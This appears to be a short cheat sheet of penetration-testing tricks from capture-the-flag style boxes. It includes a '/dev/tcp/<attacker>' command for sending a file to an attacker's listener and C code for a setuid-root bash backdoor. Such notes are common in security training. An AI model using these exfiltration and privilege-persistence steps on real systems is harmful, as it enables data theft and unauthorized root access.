Ippsec Tricks

SSH > tcpdump

ssh <user>@<target> "/bin/tcpdump -i <interface> -nnU -s0 -w <pcap.pcap> '<BPF filter>'

To see in Wireshark:

ssh <user>@<target> "/bin/tcpdump -i <interface> -nnU -s0 -w <pcap.pcap> '<BPF filter>' | wireshark -k -i -

Send file

Box:

cat <file> > /dev/tcp/<attacker>/<attacker_port>

Attacker:

ncat -nlvp <attacker_port> > <file>

Compile SUID bash

If you find you can run command as root, you could compile a setuid bash for you! First create a c program:

int main(void)
{
    setuid(0);
    setgid(0);
    system("/bin/bash");
}

Compile (for x64):

gcc setuid.c -o <outputfile>

Authbind

If you need to bind on a lower port, try to use authbind!

atanas@kotarak-dmz:/tmp/ftptest$ python -m pyftpdlib -p21 -w
/usr/local/lib/python2.7/dist-packages/pyftpdlib/authorizers.py:243: RuntimeWarning: write permissions assigned to anonymous user.
  RuntimeWarning)
Traceback (most recent call last):
  File "/usr/lib/python2.7/runpy.py", line 174, in _run_module_as_main
    "__main__", fname, loader, pkg_name)
  File "/usr/lib/python2.7/runpy.py", line 72, in _run_code
    exec code in run_globals
  File "/usr/local/lib/python2.7/dist-packages/pyftpdlib/__main__.py", line 100, in <module>
    main()
  File "/usr/local/lib/python2.7/dist-packages/pyftpdlib/__main__.py", line 92, in main
    ftpd = FTPServer((options.interface, options.port), FTPHandler)
  File "/usr/local/lib/python2.7/dist-packages/pyftpdlib/servers.py", line 114, in __init__
    self.bind_af_unspecified(address_or_socket)
  File "/usr/local/lib/python2.7/dist-packages/pyftpdlib/ioloop.py", line 1018, in bind_af_unspecified
    raise socket.error(err)
socket.error: [Errno 13] Permission denied
atanas@kotarak-dmz:/tmp/ftptest$ authbind python -m pyftpdlib -p21 -w
/usr/local/lib/python2.7/dist-packages/pyftpdlib/authorizers.py:243: RuntimeWarning: write permissions assigned to anonymous user.
  RuntimeWarning)
[I 2020-02-16 09:36:21] >>> starting FTP server on 0.0.0.0:21, pid=25040 <<<

Fixing Up/Down Arrow

wlwrap nc x.x.x.x xxx

vi trick

Assume you have something like:

  qjioqwjwgoejoe\n
  qejqoejqoqiwejdjiow\n
qeoiqj\n
  1. Get rid of \n In vi, you can do :%s/\n//g

  2. Get rid of space In vi, you can do :%s/ //g

Last updated